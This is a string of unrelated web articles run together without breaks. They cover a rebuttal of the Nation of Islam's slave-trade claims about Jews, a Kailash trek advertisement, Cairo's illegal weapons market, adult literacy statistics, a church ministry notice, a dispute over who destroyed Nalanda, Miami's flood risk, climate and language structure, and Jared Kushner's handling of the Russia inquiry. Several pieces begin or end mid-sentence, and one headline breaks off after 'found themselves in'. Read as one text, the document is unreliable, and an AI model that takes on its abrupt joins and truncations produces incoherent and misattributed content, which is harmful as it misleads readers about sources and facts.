It’s a position that Farrakhan has articulated for years. Perhaps the most noxious element of Farrakhan’s position, that the Jews are no friends to African Americans, has been locating its point of origin in the idea that Jews were heavily involved in the Atlantic slave trade. In 1991, the Nation of Islam, a branch of the Black Nationalist Movement, published a copiously footnoted book intriguingly titled The Secret Relationship Between Blacks and Jews. The Nation of Islam won’t say who wrote the book, though in one sermon, Minister Farrakhan attributes it to an individual by the name of “Alan Hamet.” It is published by “The Historical Research Department of the Nation of Islam,” which has three titles to its credit: The Secret Relationship Between Blacks and Jews, vol. 1, The Secret Relationship Between Blacks and Jews, vol. 2, and a third book simply titled Jews Selling Blacks. “This is a scholarly work, not put together by nincompoops!” Farrakhan exclaimed about The Secret Relationship during a sermon. The book claimed to provide “irrefutable evidence that the most prominent of the Jewish pilgrim fathers [sic] used kidnapped Black Africans disproportionately more than any other ethnic or religious group in New World history.” Awash in footnotes and quotes from reputable, often Jewish, historians, the book provides such details as lists of slaves, lists of Jews, and their relationship (disproportionate, The Secret Relationship concludes). “The history books appear to have confused the word Jews for the word jewel,” the anonymous author states. “Queen Isabella’s jewels had no part in the finance of Columbus’ expedition, but her Jews did.”
Felicitous quotations aside, do scholars take the work seriously? For years, Eli Faber, professor of history at CUNY and author of Jews, Slaves, and the Slave Trade: Setting the Record Straight, has assigned portions of The Secret Relationship Between Blacks and Jews to his graduate class in order to teach them about anti-Semitism. But, he said, this has had some unintended consequences. “Just two weeks ago, my students found those sections convincing,” he told me in an interview in June. “The academic framework of that book is very convincing. ‘If it’s science, it must be good,’ they think. It has all the trappings of that which confers legitimacy: footnotes, citations, sources. If you don’t think very deeply about it, you’re not going to stop and say, hold on. People get very swept up in it.”
***
The Secret Relationship alleges that Jews were over-represented in the slave trade, but it goes about doing so in a funny way. For the author, the fact that Jews participated at all is tantamount to proof that without Jewish money and Jewish traders, the entire industry would have collapsed. For example, the book’s anonymous author cites the fact that in 1774, the Jews of Jamaica owned 310 slaves, which, horrific as it is, is only 4 percent of the total slave population in Jamaica at that time (7,424). A grand total of 12 Jews owned plantations, and yet this doesn’t stop the author from concluding that Jews dominated the trade.
Faber found during his more recent scholarly research with British Naval Office records that in 18th-century Britain, Jews actually were not heavily invested in the trading part of the slave trade. “Overwhelmingly,” Faber said, “Jewish merchants and shippers were not involved at all; they represent a minuscule portion of owners of ships.” While Jews did own slaves, he found, “their ownership was directly proportionate to their numbers.” Both were about 18 percent. The two companies with slaving ventures had small numbers of Jews among their owners: The Royal Africa Company had none until 1712, and the South Sea Company always had a handful of Jews, though interestingly, “those Jews were more likely than non-Jews to invest heavily,” Faber says.
“The numbers just aren’t there to support the view,” said Faber. “Jews were involved, but to an insignificant degree. That doesn’t absolve them of that guilt, but everyone made money off African slaves: Arabs, Europeans, Africans,” he said. “And there was no attempt to deny it—the Nation of Islam used Jewish sources.”
And indeed, most black intellectuals were never convinced by The Secret Relationship. “You can’t even say that Christians across the board were slave-traders!” said Hilary Shelton, Washington bureau director and senior vice president for Advocacy for the NAACP. “There is not a religion that doesn’t have someone doing some dastardly thing. Did you know that in Ku Klux Klan’s handbook, it states specifically that one must be a devout Catholic? And this is problematic for the relationship between the two communities, which has been so important to us.”
The Secret Relationship emerged from a very specific historical moment in which social forces threatened the previously strong relationship that Blacks and Jews shared, based on the similarity of their persecution and the sympatico nature of the fight for civil rights. This relationship became strained in the second half of the 20th century, as Paul Berman wrote in The New Yorker in 1994, by differences on specific questions of public policy, such as affirmative action. The Jewish liberals opposed it, according to Berman, as a betrayal of the tenets of liberalism, insofar as affirmative action means “people should be viewed primarily as members of groups, not as individuals.” Furthermore, the Black Separatist movement in the late 1960s, through its identification with the Third World, chose to support the Palestinians, which Berman says was felt to be a betrayal by their Jewish friends.
Tensions came to a head in the 1990s, when demagogues like Leonard Jeffries (whose nephew, Shavar, is a candidate for Mayor of Newark, N.J.) and Khalid Abdul Muhammad gave incendiary lectures blaming Jews for the slave trade and the racist depiction of Blacks in Hollywood. Around that time, the Nation of Islam published The Secret Relationship. “They thrived because they were in protest against the Civil Rights Movement,” said Berman of Farrakhan and his ilk. “Black Nationalism raised some legitimate questions about cultural identity, how to present oneself to the rest of the world, how to self-identify and culturally define an autonomous community. But this had nothing to do with civil rights.” Farrakhan’s confusion led people to anti-Semitism, what Berman calls “the mother of all conspiracy theories.” The Secret Relationship Between Blacks and Jews was both a catalyst and a symptom of a particular historical moment: The anti-Semitic content allowed Farrakhan to weave racism against Blacks into a larger Third World context, making it a worldwide phenomenon, with Jews at the helm.
In 1992, Harvard professor Henry Louis Gates Jr. wrote a bleak op-ed for the New York Times about the spate of “Black Demagogues and Pseudo-Scholars” whose culture had produced The Secret Relationship Between Blacks and Jews. In it, he criticized the book for its troubling assumption, in a critique that many Jews could stand to internalize, namely, that “underlying [The Secret Relationship] is … the tacit conviction that culpability is heritable. For it suggests a doctrine of racial continuity, in which the racial evil of a people is merely manifest (rather than constituted) by their historical misdeeds. The reported misdeeds are thus the signs of an essential nature that is evil.”
Gates concluded in 1992 that the reason for black anti-Semitism is a case of Rochefoucauld’s truism, that “ ‘We can rarely bring ourselves to forgive those who have helped us.’ For sometimes it seems that the trajectory of Black-Jewish relations is a protracted enactment of Rochefoucauld’s paradox.”
But aside from the sociological problems the book generated, it was also factually incorrect. “The Secret Relationship gives a false and distorted picture,” said David Brion Davis, Sterling Professor of History Emeritus at Yale University and author of a trilogy on slavery, the first part of which won the Pulitzer in 1967 and the second of which won the National Book Award in 1976. “Of course, some Jews were involved in the slave trade. Every European Western nation was.” There were also some regions in which the slave trade was more accessible to Jews—Rhode Island, Newport, Holland, to name a few striking examples. “The Dutch Jews weren’t persecuted, so there were quite a few who were involved.”
Davis has been writing about slavery for over 60 years. An emotional writer, he wrote feelingly in the New York Review of Books in 1994 about the slave trade and the Jews, arguing that the historical record itself is infused with the kind of inaccuracies found in The Secret Relationship. He writes:
Much of the historical evidence regarding alleged Jewish or New Christian involvement in the slave system was biased by deliberate Spanish efforts to blame Jewish refugees for fostering Dutch commercial expansion at the expense of Spain. Given this long history of conspiratorial fantasy and collective scapegoating, a selective search for Jewish slave traders becomes inherently anti-Semitic unless one keeps in view the larger context and the very marginal place of Jews in the history of the overall system. It is easy enough to point to a few Jewish slave traders in Amsterdam, Bordeaux, or Newport, Rhode Island. But far from suggesting that Jews constituted a major force behind the exploitation of Africa, closer investigation shows that these were highly exceptional merchants, far outnumbered by thousands of Catholics and Protestants who flocked to share in the great bonanza.
Davis continues:
To keep matters in perspective, we should note that in the American South, in 1830, there were only 120 Jews among the 45,000 slaveholders owning twenty or more slaves and only twenty Jews among the 12,000 slaveholders owning fifty or more slaves. Even if each member of this Jewish slaveholding elite had owned 714 slaves—a ridiculously high figure in the American South—the total number would only equal the 100,000 slaves owned by Black and colored planters in St. Domingue in 1789, on the eve of the Haitian Revolution.
Furthermore, to count Jews is to ask the wrong question. Rather, Davis argues, the more important thing to keep in mind is that “Jews found the threshold of liberation from second-class status or worse, in a region dependent on Black slavery.”
At 60, Davis converted to Judaism, after being married to a Jewish woman for 16 years. “Judaism has contradictory aspects when it comes to slavery,” he said. “There’s a distinction between Jewish and Gentile slaves. There’s also a sense of having been slaves, and having been liberated, which was crucial for the Abolition movement. But of course, defenders of slavery also drew on the Torah,” he said.
Another historian, Jonathan Schorsch of Columbia University, has also written about the slave trade—most recently in his 2009 book Jews and Blacks in the Early Modern World and in an article published in the journal Jewish Social Studies. Schorsch sees even the facts surrounding Jewish involvement as being contentious. “There seem to have been a handful of Jewish firms, proportionate to their population. A lot of things that don’t make anyone feel good.” About The Secret Relationship, Schorsch said, “The claim in the narrow sense is just. Why are they harsher toward Jews? Is it because they are afraid to antagonize Christians? Jews did their share of persecuting and discriminating, of being persecuted and discriminated. Neither Blacks nor Jews are as perfect as one would wish. Did Black Nationalists want to puncture Jewish pride? There are real stakes here—government funding and so forth. Then there’s the victim game—who’s the biggest victim? It makes some Jews very uncomfortable.”
Schorsch is critical of one of the positions he has encountered in his research, in which Jewish historians argue that Jews were excluded from the slave trade due to persecution from Christians. Jews were not allowed to own land, the argument goes, disabling their participation in the big slave industries. But for Schorsch, this position makes a crucial analytic error, namely, “Such a defense assumes that power is a kind of zero-sum game in which only those ‘on top’ possess it, leaving everyone else without,” he writes. “But power’s circulation throughout society must be continuously negotiated by all of the involved parties, not just those on top.
“There’s a tension in Jewish historiography,” Schorsch continues. Historians wish to represent Jews as “not just martyrs and victims, but agents and actors—there’s their place in business, their settlement in the New World. These are Jewish triumphs. But for Blacks, of course, these are not triumphs but problems.”
***
Farrakhan’s continued tirades aside, the historical moment that produced The Secret Relationship seems, at least according Paul Berman, squarely behind us. “That sort of crackpot conspiracy theory has receded to the margins,” Berman said. “Blacks have been politically mobilized to the mainstream. It’s thrilling to learn that in the past two elections, Black voter participation surpassed that of whites. There is no political expression of the crackpot wing.”
“So the innate rationality of the Black community won out over the crackpot claims?” I asked.
“Yes,” Berman said. “I have a feeling we’re in a different era. Don’t you?”
***
Correction, Aug. 22, 2013: We regret that due to an editing error, this piece initially misnamed one of the founding members of the NAACP. She is Mary White Ovington, not Atherton, and she was Unitarian, not Jewish, though a number of other founders of the NAACP were Jewish.
Batya Ungar-Sargon is a freelance writer who lives in New York. Her Twitter feed is @bungarsargon.Overview
Make your way through Simikot, one of the remote place in Nepal to the Kailash, Mansarovar lake in Lhasa. The journey might be quite challenging. Despite the challenging journey the adventure of camping and walking along the untouched and remote terrain would be an extraordinary experience. The ultimate destination of Simikot Kailash Lhasa tour is the holy pilgrimage site in Tibet i.e. Mt. Kailash. Many pilgrims visit this place each year but this challenging route is only preferred by those adventure lovers who have high level of endurance.
As you opt for this trek, you should forget about spending your nights in comfortable lodges and resting in some attractive cafes on the way. Because during the entire trek, you will be staying in camps and enjoying some locally cooked food. Also there are no tea houses on the way as you will be traveling through some most remote parts of Nepal and Tibet.
A special permit lets initiate your journey through Simikot. As you walk through this route, you will get some insights on how remote a place can be. You will feel like you have no connection to the outer world. The wilderness this route possesses is captivating but wild most of the time. As you come to end of your journey, you will get the opportunity to admire the relishing views of wild Tibetan plateaus, mountains and high altitude lakes. The Mansarovar lake embedded besides the tranquil mountain Kailash is spectacular and it would be the most heavenly place one could ever be in the entire world.
Mt. Kailash and Mansarovar Lake is holy and sacred place religiously for Hindu and Buddhist people. Many Hindu and Buddhist pilgrims visit this place every year to perform Kora. As per Hindu mythology, Mt. Kailash is a home of Lord Shiva. It is a place where he resides and meditates along with his wife Parvati. Accordingly, Buddhist and Jain people have their own religious importance about this place. Mansarovar lake is considered as a lake of miracle. Most people believe that a bath in this lake purify your body from the sins.
So, if you are willing to experience the wild landscape of Tibet along with the remote places of Nepal. Join Simikot Kailash Lhasa Trek with Himal Eco Trek. Get athe best views of mountains and high altitude lakes.“Everybody needs a weapon,” said Mahmoud, a 23-year-old Egyptian arms dealer, as he displayed his inventory of pistols, machetes, and switchblades on the living room floor of his family’s apartment in the crime-ridden Cairo neighborhood of Ain Shams.
With Egyptian government statistics indicating a 300 percent increase in homicides and a 12-fold increase in armed robberies since the 2011 revolution, Mahmoud and other black-market entrepreneurs are capitalizing on a growing obsession with self-defense and civilian vigilantism among Egyptians who have lost patience with their government’s inability to restore security. Frustration with lawlessness is among the numerous grievances that will drive antigovernment protesters to the streets on June 30, the one-year anniversary of President Mohamed Morsi’s inauguration.
Mahmoud is one of many post-revolutionary lawbreakers who were victims of crime before they became perpetrators. When I asked him how he made the decision to start selling black-market weapons, he replied sarcastically, “What decision? I had no choice.” Over lukewarm Pepsi served by his mother, Mahmoud explained that he used to earn a living as a taxi driver. But shortly after the revolution, his car was hijacked at gunpoint by a local gang. Like many of the amateur black marketeers responsible for Egypt’s current crime wave, Mahmoud is a far cry from the hardened criminal I had been expecting; he is just a young man hoping to earn enough money to move out of his parents’ house, marry his fiancée, and replace his stolen taxi.
Mahmoud’s neighborhood is home to one of Cairo’s most active black markets in unlicensed weapons, where vendors hawk a variety of small arms -- stolen police pistols, locally made shotguns, knives, switchblades and Tasers -- at below-market prices. Although Egyptian law prohibits the sale of unlicensed weapons, these informal markets have thrived since the early days of the revolution. They operate openly and often in plain view of the police, who until recently showed little interest in regulating the illicit trade, despite soaring crime rates.Sunday is International Literacy Day! We recommend taking the opportunity to curl up with with a warm cup of coffee, a comfy chair, and a favorite classic. Of course, this holiday is bittersweet - We know we'll be celebrating accordingly, but many Americans won't be able to do so.
According to a study by the U.S. Department of Education, 32 million adults in the U.S. can't read.
The current literacy rate isn't any better than it was 10 years ago. According to the National Assessment of Adult Literacy (completed most recently in 2003, and before that, in 1992), 14 percent of adult Americans demonstrated a "below basic" literacy level in 2003, and 29 percent exhibited a "basic" reading level.
We probably don't need to spell out the benefits of reading and writing for you. Economic security, access to health care, and the ability to actively participate in civic life all depend on an individual's ability to read.
According to the Department of Justice, "The link between academic failure and delinquency, violence, and crime is welded to reading failure." The stats back up this claim: 85 percent of all juveniles who interface with the juvenile court system are functionally illiterate, and over 70 percent of inmates in America's prisons cannot read above a fourth grade level, according to BeginToRead.com.× Closed Country Policy
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Although our heart's desire is to bless and encourage these dear Believers, we do not want to endanger them or their families in any way.Please join with us in faithfully praying for these brothers and sisters in Christ, who may be risking daily persecution and even their very lives for their beliefs. May God bless them mightily with His peace, presence, provision, and power as they faithfully seek to walk in a loving relationship with Him.To learn more about our Muslim ministry outreach please click here.* If you reside in one of these closed countries, please click here to view spiritual encouragement To download and/or print an Adobe PDF copy of David Cerullo's book, 'The Angels in Heaven Rejoice ', or the Book of John, please click here.Fox cuts off 12-year-old relating Georgian violence Diane Sweet
Published: Saturday August 16, 2008
Print This Email This A 12-year-old American girl and her aunt found themselves in |
ie is disdainful and dismissive of the Tibetan tradition, which has certain elements of miracle in it, as recorded in the text. Here is the relevant extract from Sumpa’s work cited by Shourie: “While a religious sermon was being delivered in the temple that he [Kakut Siddha] had erected at Nalanda, a few young monks threw washing water at two Tirthika beggars. (The Buddhists used to designate the Hindus by the term Tirthika). The beggars, being angry, set fire on the three shrines of Dharmaganja, the Buddhist University of Nalanda, viz. — Ratna Sagara, Ratna Ranjaka including the nine-storeyed temple called Ratnodadhi which contained the library of sacred books” (p.92). Shourie questions how the two beggars could go from building to building to “burn down the entire, huge, scattered complex.” Look at another passage (abridged by me in the following paragraph) from the History of Buddhism in India written by another Tibetan monk and scholar, Taranatha, in the 17th century:
During the consecration of the of the temple built by Kakutsiddha at Nalendra [Nalanda] “the young naughty sramanas threw slops at the two tirthika beggars and kept them pressed inside door panels and set ferocious dogs on them”. Angered by this, one of them went on arranging for their livelihood and the other sat in a deep pit and “engaged himself in surya sadhana” [solar worship], first for nine years and then for three more years and having thus “acquired mantrasiddhi” he “performed a sacrifice and scattered the charmed ashes all around” which “immediately resulted in a miraculously produced fire” which consumed all the eighty-four temples and the scriptures some of which, however, were saved by water flowing from an upper floor of the nine storey Ratnodadhi temple. (History of Buddhism in India, English tr. Lama Chimpa & Alka Chattopadhyaya, pp.141-42).
If we look at the two narratives closely they are similar. The role of the Tirthikas and their miraculous fire causing a conflagration are common to both. Admittedly, one does not have to take the miracles seriously, but it is not justified to ignore their importance as part of traditions which gain in strength over time and become part of the collective memory of a community. Nor is it desirable or defensible to disregard the long standing antagonism between Brahmins and Buddhists, which may have given rise to the Tibetan tradition and nurtured it until the 18th century or even later. It is in the context of this Buddhist- Tirthika animosity that the account of Sumpa assumes importance; it also makes sense because it jibes with Taranatha’s evidence. Further, neither Sumpa nor Taranatha ever came to India. This should mean that the idea of Brahminical hostility to the religion of the Buddha travelled to Tibet fairly early, became part of its Buddhist tradition, and found expression in 17th-18th century Tibetan writings. Acceptance or rejection of this kind of source criticism is welcome if it comes from a professional historian but not from someone who flirts with history as Shourie does.
Of the two Tibetan traditions, the one referred to by me has been given credence not only by Yadava (whom Shourie, in his ignorance, dubs a Marxist!) but also by a number of other Indian scholars like R K Mookerji (Education in Ancient India), Sukumar Dutt (Buddhist Monks and Monasteries of India), S C Vidyabhushana (Medieval School of Indian Logic), Buddha Prakash (Aspects of Indian History and Civilization), and many others. They were all polymaths of unimpeachable academic honesty and integrity. They had nothing to do, even remotely, with Marxism: which is, to Shourie in his bull avatar, a red rag.
Now juxtapose the Tibetan tradition with the contemporary account in the Tabaqat–i-Nasiri of Minhaj-i-Siraj, which Shourie not only misinterprets but also blows out of proportion. Although its testimony has no bearing on my argument about Brahmanical intolerance, a word needs to be said about it so as to expose Shourie’s “false knowledge” – which, as G B Shaw said, is “more dangerous than ignorance.” The famous passage from this text reads exactly as follows:
“He [Bakhtiyar Khalji] used to carry his depredations into those parts and that country until he organized an attack upon the fortified city of Bihar. Trustworthy persons have related on this wise, that he advanced to the gateway of the fortress of Bihar with two hundred horsemen in defensive armour, and suddenly attacked the place. There were two brothers of Farghanah, men of learning, [Nizamu-ud-Din and Samsam-ud-Din] in the service of Muhammad-i-Bakht-yar, and the author of this book [Minhajuddin] met with at Lakhnawati in the year 641 H and this account is from him. These two wise brothers were soldiers among that band of holy warriors when they reached the gateway of the fortress and began the attack at which time Muhammad-i-Bakhtiyar, by the force of his intrepidity, threw himself into the postern of the gateway of the place, and they captured the fortress and acquired great booty. The greater number of inhabitants of that place were Brahmans, and the whole of those Brahmans had their heads shaven; and they were all slain. There were a great number of books there; and, when all these books came under the observation of the Musalmans, they summoned a number of Hindus that they might give them information respecting the import of those books; but the whole of the Hindus were killed. On becoming acquainted (with the contents of the books), it was found that the whole of that fortress and the city was a college, and in the Hindui tongue, they call a college Bihar” (Tabaqat-i-Nasiri, tr. H G Raverty, Calcutta, vol 1, 1881, pp.551-52).
The above account mentions the fortress of Bihar as the target of Bakhtiyar’s attack. The fortified monastery which Bakhtiyar captured was “known as Audand-Bihar or Odandapura-vihara” (Odantapuri in Biharsharif, then known simply as Bihar). This is the view of many historians but, most importantly, of Jadunath Sarkar, the high priest of communal historiography in India (History of Bengal, vol. 2, Dacca, 1948, pp.3-4). Minhaj does not refer to Nalanda at all: he merely speaks of the ransacking of the “fortress of Bihar” (hisar-i-Bihar). But how can Shourie be satisfied unless Bakhtiyar is shown to have sacked Nalanda? Since Bakhtiyar was leading plundering expeditions in the region of Magadha, Shourie thinks that Nalanda must have been destroyed by him – and, magically, he finds ’evidence’ in an account which does not even speak of the place. Thus an important historical testimony becomes the victim of his anti-Muslim prejudice. In his zeal, he fudges and concocts historical evidence and ignores the fact that Bakhtiyar did not go to Nalanda from Bihar (Biharsharif). Instead, he proceeded to Nadia in Bengal through the hills and jungles of the region of Jharkhand, which, incidentally, finds first mention in an inscription of AD 1295 (Comprehensive History of India, vol. IV, pt. I, p.601). I may add that his whole book, Eminent Historians, from which the article under reference is excerpted, abounds in instances of his cavalier attitude to historical evidence.
It is neither possible nor necessary to deny that the Islamic invaders conquered parts of Bihar and Bengal and destroyed the famous universities in the region. But any one associating Bakhtiyar Khalji with the destruction and burning of the university of Nalanda would be guilty of gross academic dishonesty. Certainly week-end historians like Shourie are always free to falsify historical data, but this has nothing to do with serious history, which is always true to evidence.
Shourie had raised a huge controversy by publishing his scandalous and slanderous Eminent Historians in 1998 during the NDA regime and now, after sixteen years, he has issued its second edition, from which the article under reference has been excerpted. He appears and reappears in the historian’s avatar when the BJP comes to power and does all he can to please his masters. His view of the past is no different from that of the Vishwa Hindu Parishad and the Rashtriya Swayamsevak Sangh and their numerous outfits, consisting of riff-raff and goons who burn books that do not endorse their views, who vandalize art objects which they label blasphemous, who present a distorted view of Indian history, and who nurture a culture of intolerance.
These elements demanded my arrest when my book on beef eating was published, and they censured James Laine when his book on Shivaji came out. It is not unlikely that Shourie functions in cahoots with people like Dina Nath Batra, who targeted A K Ramanujan’s essay emphasizing the diversity of the Ramayana tradition; Wendy Doniger’s writings, which provided an alternative view of Hinduism; Megha Kumar’s work on communalism and sexual violence in Ahmedabad since 1969; and Sekhar Bandopadhyaya’s textbook on modern India, which regrettably does not eulogise the RSS. Arun Shourie seems to have inaugurated a fresh round of battle by fudging, falsifying and fabricating historical evidence and providing grist to Batra’s mill.Why are Miami and its south Florida neighbors so vulnerable to climate change? The land is flat, low-lying and densely developed so a sea level rise of only a few inches can spell trouble.
A man wades through a flooded parking lot in a Doral, Fla., warehouse district on May 23, 2012. South Florida is considered one of the nation's most vulnerable regions to climate change because it already floods at high tide. (Photo: J. Pat Carter, AP)
Miami and other parts of south Florida, where streets routinely flood at lunar high tides, comprise one of the nation's most vulnerable hot spots for climate change.
"It's remarkable. We get calls from people asking: "It didn't rainm so why is my street underwater?'" says Broward County Commissioner Kristin Jacobs, noting the region's decades-old system to drain water is now causing it to bubble back up.
"I have a photo of a man swimming — doing the backstroke — in his cul de sac," she says, adding that 30% of her county — just north of Miami — is 5 feet or fewer above sea level.
Jacobs attended the White House's release Tuesday of the National Climate Assessment, a massive study by scientists that finds rising temperatures are already affecting the United States. It notes climate impacts vary by region and says Miami — along with New Orleans, Tampa, Charleston, S.C., and Virginia Beach — is most at risk for sea-level rise.
STORY: Cities in U.S. will absorb the heat of climate change
As the Earth's temperature warms, so do the seas, because warmer water takes up more room than cooler water. Globally, sea level has risen about 8 inches since reliable record-keeping began in 1880 and is most likely to rise another 1 to 4 feet — and possibly even 6 feet — by 2100, the report says.
That's bad news for the highly-developed coasts of Florida's southern tip, where land is flat, low-lying and swampy. It relies on a mostly gravity-fed system of canals to drain the marshes, but there's not much incline to let gravity do its work.
"The underlying rock is limestone, which allows groundwater to seep in," says Leonard Berry, director of Florida Atlantic University's Center for Environmental Studies, noting he's seen even swanky cars like Lamborghinis flooded. He says the porous bedrock makes it difficult to build a sea wall that will keep out saltwater intrusion, because such a barrier would have to go down at least 60 feet.
"Trillions of dollars of investments...are going to be vulnerable," Berry says, especially since the region is prone to hurricanes that can bring storm surges made worse by sea level rise.
The region also has a disproportionate share of elderly residents, many ironically drawn to Florida for its balmy weather, says Vicki Arroyo, executive director of the Washington,D.C.-based Georgetown Climate Center. She says the elderly, more susceptible in heat waves and less apt to relocate in storms, were hardest hit when Hurricane Katrina hit New Orleans in 2005.
Even a sea-level rise of 6 inches will be costly in South Florida. "That will happen in the next two to three decades," says Ben Strauss of Climate Central, a Princeton-based non-profit group that used federal data to create its Surging Seas database. The region's most likely rise in sea level will range between 5 and 13 inches by 2040 and between 7 and 20 inches by 2050, according to projections by the National Oceanic and Atmospheric Administration (NOAA) based on tidal data in Key West.
So by mid-century, Strauss says there's at least a 78% chance of severe flooding of at least 2 feet above the high-tide line.
Sea levels are rising more quickly in other places, notably Virginia's Norfolk area, but Strauss says South Florida is so vulnerable because of its topography, population and pricey infrastructure. His group ranks Miami-Dade and Broward as the two U.S. counties with the most residents living on land less than 4 feet above the local high tide.
In fact, Miami has the dubious honor of ranking first among cities worldwide for number of residents, 4.8 million, at risk of coastal flooding by 2070, according to a 2012 report by the Paris-based Organization for Economic Cooperation and Development, an international group.
Berry says a sea-level rise of a few inches might not do much elsewhere, but a 2011 study by his university found it could overwhelm the area's flood-control systems that are often more than 50 years old. The study expects more saltwater will seep into underground sources of drinking water, forcing cities to abandon wells near the ocean and drill new ones.
To prepare for such problems, the region's four counties — Miami-Dade, Broward, Monroe and Palm Beach — banded together in 2010 to form the Southeast Florida Regional Climate Change Compact, which has agreed to dozens of mitigation measures.
Read or Share this story: http://usat.ly/1qfEh6TSpeech may come with its own version of terroir—like the rounded, vowel-rich Hawaiian language or the clipped, consonant-heavy speech of the Republic of Georgia. Much like terroir, these differences might have risen from variations in the landscape from where they originated, according to new research presented last week at the Acoustical Society of America Meeting.
The researchers examined over 600 languages for their structure, including usage of consonants, vowels, and syllables and correlated these factors with climate and landscape features like precipitation and ruggedness, Zoë Schlanger reports for Newsweek. They omitted data from languages where speakers have spread beyond a single region and thus complicate the picture—such as English, Mandarin Chinese and Spanish.
Based on this analysis, the researchers suggest that high frequencies like consonants are interrupted by foliage and higher temperatures. So tree-covered areas tend to foster languages with fewer consonants and more simple syllables. Similarly, consonants spoken in windy or mountainous regions are often lost in the noise.
These warm, foliage-dense rainforests likely clipped words with multiple consonants jammed together. "Where a simple, steady vowel sound like "e" or "a" can cut through thick foliage or the cacophony of wildlife, these consonant-heavy sounds tend to get scrambled," Angus Chen writes for NPR.
Altogether, climatic and ecological factors can explain about one-quarter of the variation in how consonant-rich a language is, reports Emily Underwood for Science.
Yet other factors could muddy the picture, linguist Tecumseh Fitch of the University of Vienna in Austria tells Chen. People who live close to each other tend to have similar, related languages regardless of terrain and climate.
Even so, scientists have identified similar patterns in birds, who have previously given us great insight into how our language works. City-dwelling birds have actually changed the pitch of their song to compete with the din of cars and people. In a way, they speak a different dialect than their country cousins.
"Say you're a bird in a forest, and some guy's going 'Stree! Stree! Stree!' But because of the environment, what you hear is 'Ree! Ree! Ree!' " linguist Tecumseh Fitch tells Chen. "Well, because you're learning the song, you'll sing 'Ree! Ree! Ree!' "
A similar process could have shaped human languages over time. And perhaps it still does. Though noisy urban dwellings are still relatively new in our past, Maddieson tells Newsweek, "come back in a few more years." Perhaps the speech of city-dwellers will go the way of urban bird song.Who needs enemies when you have a son-in-law like this?
In the first few months of the Trump administration, both the president and his political opponents placed much hope on Jared Kushner, a 36-year-old real-estate heir with no experience relevant to the job of senior White House adviser. The left hoped that Kushner and his wife, Ivanka Trump, would act as voices of reason, fighting against climate change, attacks on LGBT rights, and Steve Bannon’s general inclination to “blow things up.” Meanwhile, President Trump tasked his son-in-law with just about every thorny issue facing his administration, from rewriting U.S. trade agreements to solving the opioid epidemic to brokering peace in the Middle East.
Kushner has had a few successes (like possibly saving NAFTA) and several major failures (such as failing to prevent Trump from ditching the Paris climate accords and bungling a trip to Jerusalem). But for the Trump administration, he’s proven to be a disastrous hire largely due to his inept handling of the Russia scandal.
Back in May, Kushner was reportedly among those urging President Trump to fire FBI director James Comey. That sparked a massive, days-long crisis that culminated in the appointment of a special prosecutor to investigate Russia’s election meddling and the Trump camp’s potential involvement. The New York Times reported that while White House staffers ultimately decided to respond with a statement saying they welcomed the investigation by Special Counsel Robert Mueller, Kushner “was one of the few dissenting voices, urging the president to counterattack.”
Later that month, Kushner was at the center of another episode in the ongoing Russia scandal when reports emerged that he tried to establish a secret backchannel between the Trump team and the Russian government in December. Several weeks later, the Washington Post reported that Mueller was looking into Kushner’s “finances and business dealings.”
At this point, Kushner can’t do much about his meetings with Russians during the campaign, or his potentially shady business dealings. However, he’s consistently tackled Russia-related issues in a manner that’s created unnecessary problems for his family members and fellow White House staffers.
While Donald Trump Jr. is currently at the eye of the “Category 5 hurricane” surrounding the White House, his emails about a meeting with a Kremlin-connected lawyer, which Kushner attended, are apparently coming to light now because of his brother-in-law.
When Kushner initially filed his application for a security clearance in January, the foreign contacts section was blank. His lawyers said this was an accident and in May they filed a revised form listing more than 100 meetings with officials from over 20 countries — but not the meeting with the Russian lawyer, Natalia Veselnitskaya. The Times reported that the emails from Don Jr. “were discovered in recent weeks by Mr. Kushner’s legal team as it reviewed documents.” The SF-86 form Kushner filed with the FBI was then updated for a third time to disclose the meeting.
CNN fleshed out the timeline on Thursday, reporting that Kushner’s lawyers provided the amended SF-86 on June 21. A few days later, Kushner’s team ignored a reporter’s question about the filing:
On June 26, CNN asked a White House spokesman assigned to Kushner about the additional meeting on the amended security clearance form, including that it was organized by Donald Trump Jr.
But Kushner’s team did not respond. On June 28, Jamie Gorelick, Kushner’s lawyer handling the issue, sent a letter to the FBI to complain about what she believed was an improper leak, according to a person close to the matter.
A source close to Kushner said his team discussed whether they should just go public with the information, but Kushner “told his lawyers he planned to sit down with the president to discuss the meeting and the email that had been discovered.” So, if true, Kushner’s instinct was to get the president more deeply involved in the handling of evidence that may be construed as proof that his campaign colluded with Russia.
The Times reported that Trump’s attorney for Russia-related matters, Marc Kasowitz, is so fed up with Kushner’s behavior that he’s considered resigning, and that sounds like the kind of thing he’s talking about:
Mr. Kasowitz and his colleagues have complained that Mr. Kushner has been whispering in the president’s ear about the Russia investigations and stories while keeping the lawyers out of the loop, according to another person familiar with the legal team. The president’s lawyers view Mr. Kushner as an obstacle and freelancer more concerned about protecting himself than his father-in-law, the person said.
It’s not clear if Kushner actually had a chat with his father-in-law about the meeting, but if so, the president has been lying about it. Trump has repeatedly said he only learned of the emails and the meeting “a couple of days ago.”
Yahoo reported on Thursday that attorneys representing the president and the Trump Organization were informed of the emails right after they were discovered by Kushner’s legal team. It’s possible that the attorneys didn’t update the president, but Richard Painter, the former chief ethics lawyer for President George W. Bush, said he found that idea “weird” and “unbelievable.” “You have a professional obligation to inform the client about information that he needs to make informed decisions,” he said.
Even if Trump wasn’t personally informed, Kushner and a number of other people in his orbit were aware of the issue for weeks — yet the White House appeared caught off guard when the Times broke the story on July 8. Trump Jr.’s initial response, which required multiple follow-ups, was reportedly drafted by top Trump advisers on Air Force One as they returned from a trip to Europe.
White House staffers who didn’t inherit billions have been hesitant to get involved in Russia-related matters because they can’t afford to hire a high-priced lawyer should they be pulled into the Mueller probe. But CNN noted on Thursday that those aides may have exposed themselves to special counsel scrutiny when they scrambled to craft Trump Jr.’s response.
Nevertheless, Kushner is reportedly pushing White House staffers to get even more involved and mount a more vigorous defense. According to Politico, his argument is that the meeting impacts Trump’s presidency, so the White House should deal with it. But some people on the communication team, including Press Secretary Sean Spicer, say the issue should be left to the lawyers who were hired to handle the scandal.
Sources said Kushner was angry that the White House communications team wasn’t immediately putting surrogates on TV, issuing talking points, and calling up cable news outlets to complain about their chyrons.
“Jared wanted to get surrogates, he wanted an op-ed in the [Wall Street] Journal and the [New York] Times, and we said, ‘Wait, we have to talk through how that will play out. Who is going to say it, who is going to put their name on the op-ed and what baggage do they have?’” said an outside adviser.
